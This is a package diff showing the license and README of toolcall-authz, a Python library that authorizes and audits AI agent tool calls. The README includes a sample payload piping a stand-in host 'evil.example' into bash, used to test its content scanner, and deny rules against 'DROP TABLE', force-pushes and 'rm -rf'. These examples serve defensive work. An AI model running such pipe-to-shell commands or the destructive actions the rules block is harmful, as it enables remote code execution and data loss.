toolcall-authz 0.2.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (52) hide show
  1. toolcall_authz-0.2.0/LICENSE +202 -0
  2. toolcall_authz-0.2.0/PKG-INFO +356 -0
  3. toolcall_authz-0.2.0/README.md +323 -0
  4. toolcall_authz-0.2.0/agent_guard/__init__.py +60 -0
  5. toolcall_authz-0.2.0/agent_guard/audit.py +179 -0
  6. toolcall_authz-0.2.0/agent_guard/bundled.py +124 -0
  7. toolcall_authz-0.2.0/agent_guard/cli.py +686 -0
  8. toolcall_authz-0.2.0/agent_guard/decision.py +40 -0
  9. toolcall_authz-0.2.0/agent_guard/guard.py +187 -0
  10. toolcall_authz-0.2.0/agent_guard/judge.py +98 -0
  11. toolcall_authz-0.2.0/agent_guard/mcp.py +93 -0
  12. toolcall_authz-0.2.0/agent_guard/policy.py +295 -0
  13. toolcall_authz-0.2.0/agent_guard/py.typed +0 -0
  14. toolcall_authz-0.2.0/agent_guard/registry.py +78 -0
  15. toolcall_authz-0.2.0/agent_guard/tiers.py +19 -0
  16. toolcall_authz-0.2.0/agentguard_identity/__init__.py +39 -0
  17. toolcall_authz-0.2.0/agentguard_identity/attestation.py +54 -0
  18. toolcall_authz-0.2.0/agentguard_identity/broker.py +46 -0
  19. toolcall_authz-0.2.0/agentguard_identity/egress.py +47 -0
  20. toolcall_authz-0.2.0/agentguard_identity/pop.py +140 -0
  21. toolcall_authz-0.2.0/agentguard_identity/py.typed +0 -0
  22. toolcall_authz-0.2.0/agentguard_identity/remote.py +117 -0
  23. toolcall_authz-0.2.0/agentguard_identity/runtime.py +170 -0
  24. toolcall_authz-0.2.0/agentguard_identity/token.py +68 -0
  25. toolcall_authz-0.2.0/pyproject.toml +49 -0
  26. toolcall_authz-0.2.0/setup.cfg +4 -0
  27. toolcall_authz-0.2.0/tests/test_audit_sinks.py +102 -0
  28. toolcall_authz-0.2.0/tests/test_bundled.py +53 -0
  29. toolcall_authz-0.2.0/tests/test_cli.py +338 -0
  30. toolcall_authz-0.2.0/tests/test_container_smoke.py +51 -0
  31. toolcall_authz-0.2.0/tests/test_default_rules_and_callable_sink.py +46 -0
  32. toolcall_authz-0.2.0/tests/test_e2b_live.py +33 -0
  33. toolcall_authz-0.2.0/tests/test_egress.py +43 -0
  34. toolcall_authz-0.2.0/tests/test_explain_conformance.py +93 -0
  35. toolcall_authz-0.2.0/tests/test_guard.py +273 -0
  36. toolcall_authz-0.2.0/tests/test_gvisor_isolation.py +32 -0
  37. toolcall_authz-0.2.0/tests/test_identity.py +206 -0
  38. toolcall_authz-0.2.0/tests/test_isolation_e2e.py +101 -0
  39. toolcall_authz-0.2.0/tests/test_judge_and_remote.py +187 -0
  40. toolcall_authz-0.2.0/tests/test_mcp_and_decorator.py +126 -0
  41. toolcall_authz-0.2.0/tests/test_policy_regex_engine.py +62 -0
  42. toolcall_authz-0.2.0/tests/test_policy_render_args.py +100 -0
  43. toolcall_authz-0.2.0/tests/test_pop.py +145 -0
  44. toolcall_authz-0.2.0/tests/test_registry.py +147 -0
  45. toolcall_authz-0.2.0/tests/test_runtime_gvisor.py +77 -0
  46. toolcall_authz-0.2.0/tests/test_write_content_scan_policy.py +117 -0
  47. toolcall_authz-0.2.0/toolcall_authz.egg-info/PKG-INFO +356 -0
  48. toolcall_authz-0.2.0/toolcall_authz.egg-info/SOURCES.txt +50 -0
  49. toolcall_authz-0.2.0/toolcall_authz.egg-info/dependency_links.txt +1 -0
  50. toolcall_authz-0.2.0/toolcall_authz.egg-info/entry_points.txt +2 -0
  51. toolcall_authz-0.2.0/toolcall_authz.egg-info/requires.txt +16 -0
  52. toolcall_authz-0.2.0/toolcall_authz.egg-info/top_level.txt +2 -0
@@ -0,0 +1,202 @@
1
+
2
+ Apache License
3
+ Version 2.0, January 2004
4
+ http://www.apache.org/licenses/
5
+
6
+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7
+
8
+ 1. Definitions.
9
+
10
+ "License" shall mean the terms and conditions for use, reproduction,
11
+ and distribution as defined by Sections 1 through 9 of this document.
12
+
13
+ "Licensor" shall mean the copyright owner or entity authorized by
14
+ the copyright owner that is granting the License.
15
+
16
+ "Legal Entity" shall mean the union of the acting entity and all
17
+ other entities that control, are controlled by, or are under common
18
+ control with that entity. For the purposes of this definition,
19
+ "control" means (i) the power, direct or indirect, to cause the
20
+ direction or management of such entity, whether by contract or
21
+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
22
+ outstanding shares, or (iii) beneficial ownership of such entity.
23
+
24
+ "You" (or "Your") shall mean an individual or Legal Entity
25
+ exercising permissions granted by this License.
26
+
27
+ "Source" form shall mean the preferred form for making modifications,
28
+ including but not limited to software source code, documentation
29
+ source, and configuration files.
30
+
31
+ "Object" form shall mean any form resulting from mechanical
32
+ transformation or translation of a Source form, including but
33
+ not limited to compiled object code, generated documentation,
34
+ and conversions to other media types.
35
+
36
+ "Work" shall mean the work of authorship, whether in Source or
37
+ Object form, made available under the License, as indicated by a
38
+ copyright notice that is included in or attached to the work
39
+ (an example is provided in the Appendix below).
40
+
41
+ "Derivative Works" shall mean any work, whether in Source or Object
42
+ form, that is based on (or derived from) the Work and for which the
43
+ editorial revisions, annotations, elaborations, or other modifications
44
+ represent, as a whole, an original work of authorship. For the purposes
45
+ of this License, Derivative Works shall not include works that remain
46
+ separable from, or merely link (or bind by name) to the interfaces of,
47
+ the Work and Derivative Works thereof.
48
+
49
+ "Contribution" shall mean any work of authorship, including
50
+ the original version of the Work and any modifications or additions
51
+ to that Work or Derivative Works thereof, that is intentionally
52
+ submitted to Licensor for inclusion in the Work by the copyright owner
53
+ or by an individual or Legal Entity authorized to submit on behalf of
54
+ the copyright owner. For the purposes of this definition, "submitted"
55
+ means any form of electronic, verbal, or written communication sent
56
+ to the Licensor or its representatives, including but not limited to
57
+ communication on electronic mailing lists, source code control systems,
58
+ and issue tracking systems that are managed by, or on behalf of, the
59
+ Licensor for the purpose of discussing and improving the Work, but
60
+ excluding communication that is conspicuously marked or otherwise
61
+ designated in writing by the copyright owner as "Not a Contribution."
62
+
63
+ "Contributor" shall mean Licensor and any individual or Legal Entity
64
+ on behalf of whom a Contribution has been received by Licensor and
65
+ subsequently incorporated within the Work.
66
+
67
+ 2. Grant of Copyright License. Subject to the terms and conditions of
68
+ this License, each Contributor hereby grants to You a perpetual,
69
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70
+ copyright license to reproduce, prepare Derivative Works of,
71
+ publicly display, publicly perform, sublicense, and distribute the
72
+ Work and such Derivative Works in Source or Object form.
73
+
74
+ 3. Grant of Patent License. Subject to the terms and conditions of
75
+ this License, each Contributor hereby grants to You a perpetual,
76
+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77
+ (except as stated in this section) patent license to make, have made,
78
+ use, offer to sell, sell, import, and otherwise transfer the Work,
79
+ where such license applies only to those patent claims licensable
80
+ by such Contributor that are necessarily infringed by their
81
+ Contribution(s) alone or by combination of their Contribution(s)
82
+ with the Work to which such Contribution(s) was submitted. If You
83
+ institute patent litigation against any entity (including a
84
+ cross-claim or counterclaim in a lawsuit) alleging that the Work
85
+ or a Contribution incorporated within the Work constitutes direct
86
+ or contributory patent infringement, then any patent licenses
87
+ granted to You under this License for that Work shall terminate
88
+ as of the date such litigation is filed.
89
+
90
+ 4. Redistribution. You may reproduce and distribute copies of the
91
+ Work or Derivative Works thereof in any medium, with or without
92
+ modifications, and in Source or Object form, provided that You
93
+ meet the following conditions:
94
+
95
+ (a) You must give any other recipients of the Work or
96
+ Derivative Works a copy of this License; and
97
+
98
+ (b) You must cause any modified files to carry prominent notices
99
+ stating that You changed the files; and
100
+
101
+ (c) You must retain, in the Source form of any Derivative Works
102
+ that You distribute, all copyright, patent, trademark, and
103
+ attribution notices from the Source form of the Work,
104
+ excluding those notices that do not pertain to any part of
105
+ the Derivative Works; and
106
+
107
+ (d) If the Work includes a "NOTICE" text file as part of its
108
+ distribution, then any Derivative Works that You distribute must
109
+ include a readable copy of the attribution notices contained
110
+ within such NOTICE file, excluding those notices that do not
111
+ pertain to any part of the Derivative Works, in at least one
112
+ of the following places: within a NOTICE text file distributed
113
+ as part of the Derivative Works; within the Source form or
114
+ documentation, if provided along with the Derivative Works; or,
115
+ within a display generated by the Derivative Works, if and
116
+ wherever such third-party notices normally appear. The contents
117
+ of the NOTICE file are for informational purposes only and
118
+ do not modify the License. You may add Your own attribution
119
+ notices within Derivative Works that You distribute, alongside
120
+ or as an addendum to the NOTICE text from the Work, provided
121
+ that such additional attribution notices cannot be construed
122
+ as modifying the License.
123
+
124
+ You may add Your own copyright statement to Your modifications and
125
+ may provide additional or different license terms and conditions
126
+ for use, reproduction, or distribution of Your modifications, or
127
+ for any such Derivative Works as a whole, provided Your use,
128
+ reproduction, and distribution of the Work otherwise complies with
129
+ the conditions stated in this License.
130
+
131
+ 5. Submission of Contributions. Unless You explicitly state otherwise,
132
+ any Contribution intentionally submitted for inclusion in the Work
133
+ by You to the Licensor shall be under the terms and conditions of
134
+ this License, without any additional terms or conditions.
135
+ Notwithstanding the above, nothing herein shall supersede or modify
136
+ the terms of any separate license agreement you may have executed
137
+ with Licensor regarding such Contributions.
138
+
139
+ 6. Trademarks. This License does not grant permission to use the trade
140
+ names, trademarks, service marks, or product names of the Licensor,
141
+ except as required for reasonable and customary use in describing the
142
+ origin of the Work and reproducing the content of the NOTICE file.
143
+
144
+ 7. Disclaimer of Warranty. Unless required by applicable law or
145
+ agreed to in writing, Licensor provides the Work (and each
146
+ Contributor provides its Contributions) on an "AS IS" BASIS,
147
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148
+ implied, including, without limitation, any warranties or conditions
149
+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150
+ PARTICULAR PURPOSE. You are solely responsible for determining the
151
+ appropriateness of using or redistributing the Work and assume any
152
+ risks associated with Your exercise of permissions under this License.
153
+
154
+ 8. Limitation of Liability. In no event and under no legal theory,
155
+ whether in tort (including negligence), contract, or otherwise,
156
+ unless required by applicable law (such as deliberate and grossly
157
+ negligent acts) or agreed to in writing, shall any Contributor be
158
+ liable to You for damages, including any direct, indirect, special,
159
+ incidental, or consequential damages of any character arising as a
160
+ result of this License or out of the use or inability to use the
161
+ Work (including but not limited to damages for loss of goodwill,
162
+ work stoppage, computer failure or malfunction, or any and all
163
+ other commercial damages or losses), even if such Contributor
164
+ has been advised of the possibility of such damages.
165
+
166
+ 9. Accepting Warranty or Additional Liability. While redistributing
167
+ the Work or Derivative Works thereof, You may choose to offer,
168
+ and charge a fee for, acceptance of support, warranty, indemnity,
169
+ or other liability obligations and/or rights consistent with this
170
+ License. However, in accepting such obligations, You may act only
171
+ on Your own behalf and on Your sole responsibility, not on behalf
172
+ of any other Contributor, and only if You agree to indemnify,
173
+ defend, and hold each Contributor harmless for any liability
174
+ incurred by, or claims asserted against, such Contributor by reason
175
+ of your accepting any such warranty or additional liability.
176
+
177
+ END OF TERMS AND CONDITIONS
178
+
179
+ APPENDIX: How to apply the Apache License to your work.
180
+
181
+ To apply the Apache License to your work, attach the following
182
+ boilerplate notice, with the fields enclosed by brackets "[]"
183
+ replaced with your own identifying information. (Don't include
184
+ the brackets!) The text should be enclosed in the appropriate
185
+ comment syntax for the file format. We also recommend that a
186
+ file or class name and description of purpose be included on the
187
+ same "printed page" as the copyright notice for easier
188
+ identification within third-party archives.
189
+
190
+ Copyright [yyyy] [name of copyright owner]
191
+
192
+ Licensed under the Apache License, Version 2.0 (the "License");
193
+ you may not use this file except in compliance with the License.
194
+ You may obtain a copy of the License at
195
+
196
+ http://www.apache.org/licenses/LICENSE-2.0
197
+
198
+ Unless required by applicable law or agreed to in writing, software
199
+ distributed under the License is distributed on an "AS IS" BASIS,
200
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
201
+ See the License for the specific language governing permissions and
202
+ limitations under the License.
@@ -0,0 +1,356 @@
1
+ Metadata-Version: 2.4
2
+ Name: toolcall-authz
3
+ Version: 0.2.0
4
+ Summary: Least-privilege authorization, per-agent identity, and audit for AI agent tool calls. Harness-agnostic, local-first, fail-closed.
5
+ Author: voltagebots
6
+ License: Apache-2.0
7
+ Project-URL: Homepage, https://github.com/voltagebots/agent-guard
8
+ Project-URL: Repository, https://github.com/voltagebots/agent-guard
9
+ Project-URL: Issues, https://github.com/voltagebots/agent-guard/issues
10
+ Keywords: ai,agents,mcp,authorization,guardrails,security,audit,llm
11
+ Classifier: Development Status :: 3 - Alpha
12
+ Classifier: Intended Audience :: Developers
13
+ Classifier: License :: OSI Approved :: Apache Software License
14
+ Classifier: Programming Language :: Python :: 3
15
+ Classifier: Topic :: Security
16
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
17
+ Requires-Python: >=3.10
18
+ Description-Content-Type: text/markdown
19
+ License-File: LICENSE
20
+ Requires-Dist: google-re2>=1.1
21
+ Provides-Extra: yaml
22
+ Requires-Dist: pyyaml>=6; extra == "yaml"
23
+ Provides-Extra: e2b
24
+ Requires-Dist: e2b>=1; extra == "e2b"
25
+ Provides-Extra: pop
26
+ Requires-Dist: cryptography>=42; extra == "pop"
27
+ Provides-Extra: dev
28
+ Requires-Dist: pytest>=8; extra == "dev"
29
+ Requires-Dist: pyyaml>=6; extra == "dev"
30
+ Requires-Dist: ruff>=0.6; extra == "dev"
31
+ Requires-Dist: cryptography>=42; extra == "dev"
32
+ Dynamic: license-file
33
+
34
+ # agent-guard
35
+
36
+ [![ci](https://github.com/voltagebots/agent-guard/actions/workflows/ci.yml/badge.svg)](https://github.com/voltagebots/agent-guard/actions/workflows/ci.yml)
37
+ [![license](https://img.shields.io/badge/license-Apache--2.0-blue.svg)](LICENSE)
38
+ [![python](https://img.shields.io/badge/python-3.10%2B-3776ab.svg)](pyproject.toml)
39
+
40
+ Least-privilege authorization + audit for AI agent tool calls. One small library that wraps the seam every agent has — the tool-dispatch boundary — and decides `allow` / `deny` / `require_human` per call, then logs every decision.
41
+
42
+ Harness-agnostic by design: it wraps a plain `dispatch(tool, args)` function, which is the shape of a raw agent loop, an MCP `call_tool`, and a native function-calling executor alike. No framework lock-in.
43
+
44
+ New here? Start with the [walkthrough](docs/WALKTHROUGH.md) — what it solves, how it works, how to run it, and where an LLM judge fits.
45
+
46
+ Deeper reference: [`docs/DESIGN.md`](docs/DESIGN.md) (why it's shaped this way), [`docs/Architecture.md`](docs/Architecture.md) (component/sequence diagrams), [`docs/THREAT_MODEL.md`](docs/THREAT_MODEL.md) (what's defended, and what explicitly isn't), [`docs/Evaluation.md`](docs/Evaluation.md) (real findings from development, not a hypothetical test plan), [`docs/Benchmarks.md`](docs/Benchmarks.md) (measured numbers).
47
+
48
+ ## The problem
49
+
50
+ Agents run with their operator's full permissions and no record of what they did. One prompt injection reaches everything the human can touch. `agent-guard` puts a policy-as-code boundary in front of the tool call, so an agent physically cannot run an irreversible action that policy forbids — and every attempt is auditable.
51
+
52
+ ## Install
53
+
54
+ ```bash
55
+ pip install toolcall-authz # core (pulls in google-re2)
56
+ pip install "toolcall-authz[yaml]" # + YAML policy files
57
+ pip install "toolcall-authz[pop]" # + proof-of-possession (Ed25519 via cryptography)
58
+ ```
59
+
60
+ > Distribution name is `toolcall-authz` on PyPI -- `agentguard` and close variants were blocked by PyPI's name-similarity check against unrelated existing packages, not chosen for any other reason. Import paths are `agent_guard` and `agentguard_identity`; the CLI is `guard`.
61
+
62
+ From source (dev):
63
+
64
+ ```bash
65
+ git clone https://github.com/voltagebots/agent-guard && cd agent-guard
66
+ pip install -e ".[dev]" && python -m pytest -q
67
+ ```
68
+
69
+ ## Integrate — pick the one that fits your stack
70
+
71
+ Three ways in, from zero-code to full control.
72
+
73
+ 1. Guard an MCP server — zero code. Wrap the server command in your MCP client config; every `tools/call` is checked. Nothing else changes.
74
+
75
+ ```jsonc
76
+ // before: "command": "my-mcp-server", "args": ["--port", "3000"]
77
+ // after:
78
+ { "command": "guard", "args": ["mcp", "--policy", "policy.yaml", "--", "my-mcp-server", "--port", "3000"] }
79
+ ```
80
+
81
+ 2. Decorate a tool function — one line. The function's keyword args are what the policy sees.
82
+
83
+ ```python
84
+ from agent_guard import guarded, Guard, with_bundled, Decision, MemoryAuditSink
85
+
86
+ guard = Guard(with_bundled(default=Decision.ALLOW).compile(), audit=MemoryAuditSink(), agent_id="agent-1")
87
+
88
+
89
+ @guarded(guard, "run_sql")
90
+ def run_sql(query: str) -> list: ... # raises BlockedError if policy denies
91
+ ```
92
+
93
+ 3. Wrap your dispatch seam — for any custom loop / framework.
94
+
95
+ ```python
96
+ guarded_dispatch = guard.wrap(my_dispatch) # my_dispatch(tool, args) -> result
97
+ ```
98
+
99
+ All three share one policy engine, one audit trail, one decision logic. Start with the bundled policy (`rm -rf`, `DROP TABLE`, `kubectl delete`, ... gated out of the box), tighten from there.
100
+
101
+ Copy-paste runnable MCP walkthrough: [`examples/mcp/`](examples/mcp/) — a policy, a tiny server, and the exact commands (benign call forwarded, `DROP TABLE` blocked before the server sees it).
102
+
103
+ ## 30-second use
104
+
105
+ ```python
106
+ from agent_guard import Guard, Policy, JsonlAuditSink
107
+
108
+ policy = Policy.from_dict(
109
+ {
110
+ "default": "allow",
111
+ "rules": [
112
+ {
113
+ "id": "no-drop",
114
+ "decision": "deny",
115
+ "tools": ["sql"],
116
+ "arg_patterns": [r"(?i)\bdrop\s+table\b"],
117
+ "reason": "no destructive sql",
118
+ },
119
+ {
120
+ "id": "gate-force-push",
121
+ "decision": "require_human",
122
+ "tools": ["git", "shell"],
123
+ "arg_patterns": [r"git\s+push\b.*--force"],
124
+ "reason": "force-push needs a human",
125
+ },
126
+ ],
127
+ }
128
+ )
129
+
130
+ guard = Guard(policy, audit=JsonlAuditSink("audit.jsonl"), agent_id="agent-42")
131
+
132
+ # wrap whatever your harness already calls to run a tool:
133
+ guarded = guard.wrap(my_dispatch)
134
+ guarded("sql", {"query": "SELECT 1"}) # runs, audited
135
+ guarded("sql", {"query": "DROP TABLE users"}) # raises BlockedError, audited, never executed
136
+ ```
137
+
138
+ ## Run the demo
139
+
140
+ ```bash
141
+ python examples/demo.py
142
+ ```
143
+
144
+ Shows a benign query allowed, a `DROP TABLE` blocked, a `git push --force` gated to a human (denied here), and the audit trail for all four.
145
+
146
+ ## Core model
147
+
148
+ - Policy — an explicit `default` (required — no silent fallback) plus ordered `rules`. First matching rule wins.
149
+ - Rule — `tools` (glob) + optional `arg_patterns` (regex over the rendered args) → a `decision`.
150
+ - Guard — wraps a `dispatch(tool, args)`; evaluates, gates, executes, audits.
151
+ - Audit — one structured record per decision. Sinks: `JsonlAuditSink` (local file), `WebhookAuditSink` (ship to a SIEM / collector — fail-loud, never drops), `CallableAuditSink` (any `emit` callable — OpenTelemetry / statsd / custom), `MultiAuditSink` (fan-out: durable local + remote), `SigningAuditSink` (wraps another sink, HMAC-signs each record so tampering by a party *without* the signing secret is detectable — does not defend against a compromised producer, which already holds the secret it signs with, nor does it detect a producer that simply never emits a record), `MemoryAuditSink` (tests), or your own `AuditSink`.
152
+
153
+ ## Scaling policy — federated, layered, cached
154
+
155
+ One flat file doesn't scale to many tools, teams, and MCP servers. Compose instead: each source ships a `PolicyModule` that owns a tool namespace and a layer. A `PolicyRegistry` aggregates them, compiles a layer-ordered index (cached, recompiled on change), and evaluates by namespace.
156
+
157
+ ```python
158
+ from agent_guard import PolicyRegistry, PolicyModule, Decision, Guard, JsonlAuditSink
159
+
160
+ org = PolicyModule.from_dict(
161
+ {
162
+ "name": "org-base",
163
+ "namespace": "*",
164
+ "layer": 100,
165
+ "rules": [{"id": "no-drop", "decision": "deny", "tools": ["sql"], "arg_patterns": [r"(?i)drop table"]}],
166
+ }
167
+ )
168
+ sql = PolicyModule.from_dict(
169
+ {
170
+ "name": "sql-defaults",
171
+ "namespace": "sql*",
172
+ "layer": 0,
173
+ "rules": [{"id": "reads-ok", "decision": "allow", "tools": ["sql"]}],
174
+ }
175
+ )
176
+
177
+ compiled = PolicyRegistry(default=Decision.DENY).register(org).register(sql).compile()
178
+ guard = Guard(compiled, audit=JsonlAuditSink("audit.jsonl"), agent_id="agent-42")
179
+ ```
180
+
181
+ Higher layer wins (org override beats provider default). Every verdict carries `module`, `layer`, `rule_id`, and `reason` — call `verdict.trace()` to see exactly which module/layer/rule decided, so federated policy stays debuggable. Provider-declared defaults are the payoff: a tool source ships its own module with sane guardrails; the org only writes overrides.
182
+
183
+ Batteries-included modules for common tool surfaces (`shell`, `git`, `postgres`, `filesystem`, `kubernetes`) ship in the box:
184
+
185
+ ```python
186
+ from agent_guard import with_bundled, Decision
187
+
188
+ compiled = with_bundled(
189
+ default=Decision.ALLOW
190
+ ).compile() # rm -rf, DROP TABLE, kubectl delete, ... gated out of the box
191
+ ```
192
+
193
+ Layer your org overrides on top with a higher `layer`. Contribute a module for your favorite MCP server — see the open issues.
194
+
195
+ ## LLM judge for the ambiguous band
196
+
197
+ Some decisions the heuristic can't make. A rule can opt into a judge — consulted only when it matches, like conflict-lens's optional resolver:
198
+
199
+ ```python
200
+ from agent_guard import Guard, LLMJudge
201
+
202
+
203
+ # bring any model — wire a different vendor than the agent for real diversity
204
+ def complete(prompt: str) -> str:
205
+ return my_llm_client.complete(prompt) # anthropic / openai / local — your call
206
+
207
+
208
+ guard = Guard(compiled, audit=sink, agent_id="a", judge=LLMJudge(complete))
209
+ ```
210
+
211
+ `LLMJudge` is provider-agnostic (a `complete(prompt) -> str` callable), so you bring your own model family. `ReferenceJudge` is a deterministic offline judge for tests and air-gapped defaults; `CallableJudge` wraps any function.
212
+
213
+ Fenced, on purpose:
214
+ - The judge may only tighten. Its result is clamped to the rule's `judge_ceiling` (default `require_human`) — it can escalate toward safe, never unilaterally `allow` an irreversible action.
215
+ - Fail-closed. No judge configured, judge errors, or judge times out → fall back to the rule's decision, never a silent allow.
216
+ - Use a different model family for security-relevant judging; a same-family self-grade shares its own blind spots.
217
+
218
+ ## Design stance
219
+
220
+ - Fail loud at the edge. A policy with no `default` is rejected at load, not silently defaulted.
221
+ - Human gate is fail-closed. `require_human` with no approver denies. The safe posture is the default.
222
+ - Capability = what policy permits, not what the prompt says. Enforcement is code, not instruction.
223
+ - Cross-harness. The wrapped seam is a plain callable, so the same guard fits a raw loop, MCP, or native function-calling.
224
+
225
+ ## Scaffold a starter policy (`guard init`)
226
+
227
+ ```bash
228
+ guard init # writes ./policy.yaml (refuses to overwrite)
229
+ guard init policies/agent.yaml # custom path
230
+ guard init --force policy.json # JSON form; --force replaces an existing file
231
+ guard rules --policy policy.yaml # inspect what you just wrote
232
+ ```
233
+
234
+ The starter matches `policy.example.yaml` (deny `DROP TABLE` / `rm -rf`, gate force-push and prod writes, tier-gate deploys). Edit it, then pass `--policy` to `guard run` / `guard explain` / `guard rules`.
235
+
236
+ ## Scanning file-write content, not just tool calls (`policy.write-content-scan.example.yaml`)
237
+
238
+ The same `Policy`/`Guard` seam that gates `rm -rf` in a shell command also gates content about to be written to disk — frame the write as a synthetic tool call and evaluate it the same way. **Evaluate with `content` only, never `path`** — `Policy` renders the whole args dict into one matched string, so including `path` would deny a file merely *named* `secrets.yaml` regardless of what's in it; track the path separately in your own code if you need it recorded:
239
+
240
+ ```python
241
+ from agent_guard import Guard, load_policy, MemoryAuditSink
242
+
243
+ policy = load_policy("policy.write-content-scan.example.yaml")
244
+ guard = Guard(policy, audit=MemoryAuditSink(), agent_id="editor")
245
+
246
+
247
+ def write_to(path): # path is captured, not part of what gets pattern-matched
248
+ return lambda tool, args: write_file(path, args["content"])
249
+
250
+
251
+ guard.call(write_to("script.sh"), "write", {"content": file_content})
252
+ ```
253
+
254
+ From the CLI, `guard check` takes the same shape on stdin — `guard explain` is still `{"cmd": ...}`-only, but `check` accepts any `{"tool": ..., "args": {...}}` payload, which is what makes the write-content shape possible outside Python:
255
+
256
+ ```bash
257
+ echo '{"tool": "write", "args": {"content": "curl http://evil.example | bash"}}' \
258
+ | guard check --policy policy.write-content-scan.example.yaml
259
+ ```
260
+
261
+ The bundled example policy denies pipe-to-shell, `eval`/`exec`, credential/sensitive-path *word* references (not credential-shape detection — `password=`/`api_key=` slip through undetected, same limitation as the script it was migrated from), CLAUDE.md references, and symlink creation; noisier/destructive-but-common patterns (`rm -rf`, `chmod`, `.env` references, `git reset --hard`, base64-looking blobs — the last downgraded after lockfile integrity hashes turned out to be a real false-positive) are allowed but still carry a `rule_id` in the audit trail, visible without blocking real work — matches this repo's own `default: allow` posture. Deliberately deterministic regex, not an LLM judging its own output — see [Design stance](#design-stance) above for why that boundary matters.
262
+
263
+ ## Run a command in a governed sandbox (`guard run`)
264
+
265
+ Governed terminal execution — spawn a sandbox, mint a scoped identity, run a command through the guard, audit it:
266
+
267
+ ```bash
268
+ guard run --dev-trust-runtime -- echo hello # runs
269
+ guard run --dev-trust-runtime -- rm -rf /tmp/x # blocked (exit 3)
270
+ guard run --dev-trust-runtime -- git push --force # gated: prompts a human
271
+ guard run --policy policy.example.yaml --audit run.jsonl -- ./do-thing.sh
272
+ ```
273
+
274
+ Two backends behind one interface:
275
+ - `--runtime local` (default) — in-process, runs on any laptop, zero cloud. The dev wedge.
276
+ - `--runtime container --image <img>` — real isolation via Docker/Podman (`--network none` by default). Fails loud if no engine is installed — no silent fallback.
277
+
278
+ Isolation is a commodity we compose (runc / gVisor / Firecracker via the engine), not something we reinvent. The value is the governance wrapped around it: identity, least-privilege authority, audit. Same reason you'd run on Modal or E2B as a backend and keep the four pillars on top.
279
+
280
+ ## Four pillars — identity, authorization, audit, isolation
281
+
282
+ The `agentguard_identity/` package (import name `agentguard_identity` — not `identity`, which collides with an unrelated existing PyPI package) is a local-first companion block: it mints a scoped, short-lived per-agent identity from an attested runtime, so the guard authorizes on *who the agent is* and *where it runs* — not the human's inherited permissions.
283
+
284
+ ```
285
+ spawn (isolated runtime) -> attest -> mint scoped token -> guard authorizes on tier -> audit
286
+ ```
287
+
288
+ Run the whole thing on your laptop, zero cloud:
289
+
290
+ ```bash
291
+ python examples/end_to_end.py
292
+ ```
293
+
294
+ It spawns a local sandbox, attests it, mints an identity whose scopes are `human_grant ∩ task_scope`, then shows a read allowed, a `DROP TABLE` denied, and a `prod_write` blocked because a `local.container` identity is below the `remote.microvm` tier the policy requires — a local agent cannot self-elevate.
295
+
296
+ Note the composition: the token is signed (`sign(token, secret)`) and the guard is built via `Guard.from_token(encoded, secret, ...)`, which re-verifies the signature rather than trusting `agent_id`/`trust_tier` as caller-supplied strings. The plain `Guard(...)` constructor still exists for local/no-identity use, but once a `Broker` is in the picture, `from_token` is the only path `min_trust_tier` rules should be relied on against.
297
+
298
+ The block boundary is deliberate: `agentguard_identity` does not import `agent_guard` and vice versa; the examples wire them. Identity says *who/where*, the guard says *what*, the audit sink says *did*. See `docs/DESIGN-runtime-identity-binding.md` for the local-and-remote design and the honest trust gradient.
299
+
300
+ `end_to_end.py` proves the mechanism with scripted, hardcoded tool calls. For the same mechanism against a real, autonomous Claude agent deciding its own tool calls — genuinely running inside a real Docker container agent-guard spawned and attested, not a claim about isolation — see [`examples/guarded_autonomous_agent/`](examples/guarded_autonomous_agent/).
301
+
302
+ ### Holder-bound tokens (proof-of-possession)
303
+
304
+ By default a minted token is a bearer credential: whoever holds the encoded string can use it, for its full TTL, however it was obtained (a leaked log line, a captured network hop). Opt a sandbox into holder-binding and that stops being true:
305
+
306
+ ```python
307
+ sandbox = runtime.spawn(RuntimeSpec(code_digest="...", pop_enabled=True)) # generates an Ed25519 keypair
308
+ token = broker.mint(attestation_result, subject, human_grant, task_scope, pop_thumbprint=sandbox.pop_thumbprint())
309
+ encoded = sign(token, secret)
310
+ proof = sandbox.prove_possession(encoded) # fresh, single-token-scoped, signed by the sandbox's private key
311
+ guard = Guard.from_token(encoded, secret, policy, audit=sink, pop_proof=proof)
312
+ ```
313
+
314
+ A captured `encoded` string with no proof, or a proof from a different sandbox's key, is rejected even though the token's own signature checks out. Requires the `[pop]` extra (`pip install "toolcall-authz[pop]"` — Ed25519 via `cryptography`); the core package doesn't need this extra either way, and omitting `pop_thumbprint`/`pop_proof` entirely is unchanged bearer-token behavior. Adapted from DPoP (RFC 9449) / the proof-of-possession pattern behind cloud agent-identity models, not adopted wholesale — DPoP proper binds a proof to an HTTP method+URI, which doesn't exist in agent-guard's actual seam (`dispatch(tool, args)`, a function call). Runnable demo, including the rejected-forgery case:
315
+
316
+ ```bash
317
+ pip install "toolcall-authz[pop]"
318
+ python examples/pop_example.py
319
+ ```
320
+
321
+ Same property, proven against a real autonomous agent in a real container instead of a scripted call: [`examples/guarded_autonomous_agent/agent_pop.py`](examples/guarded_autonomous_agent/agent_pop.py).
322
+
323
+ ## Isolation tiers & egress
324
+
325
+ Isolation is a pluggable runtime backend selected by trust tier. The guard gates *on* the tier; the runtime *makes the tier real*. A tier is only attested when it is actually provided — no silent downgrade.
326
+
327
+ | Tier | Backend | Isolation |
328
+ |------|---------|-----------|
329
+ | `local.container` | docker/podman (runc) | shared kernel — **not escape-safe**, dev/trusted only |
330
+ | `remote.gvisor` | docker + gVisor (`runsc`) | user-space kernel, real added isolation |
331
+ | `remote.microvm` | E2B/Firecracker (managed) | hardware-virtualized microVM *(next)* |
332
+
333
+ gVisor tier (docker only):
334
+
335
+ ```bash
336
+ # requires gVisor installed and registered with docker (runsc)
337
+ RuntimeSpec(kind="remote.gvisor", runtime="runsc", image="…", network=False)
338
+ ```
339
+
340
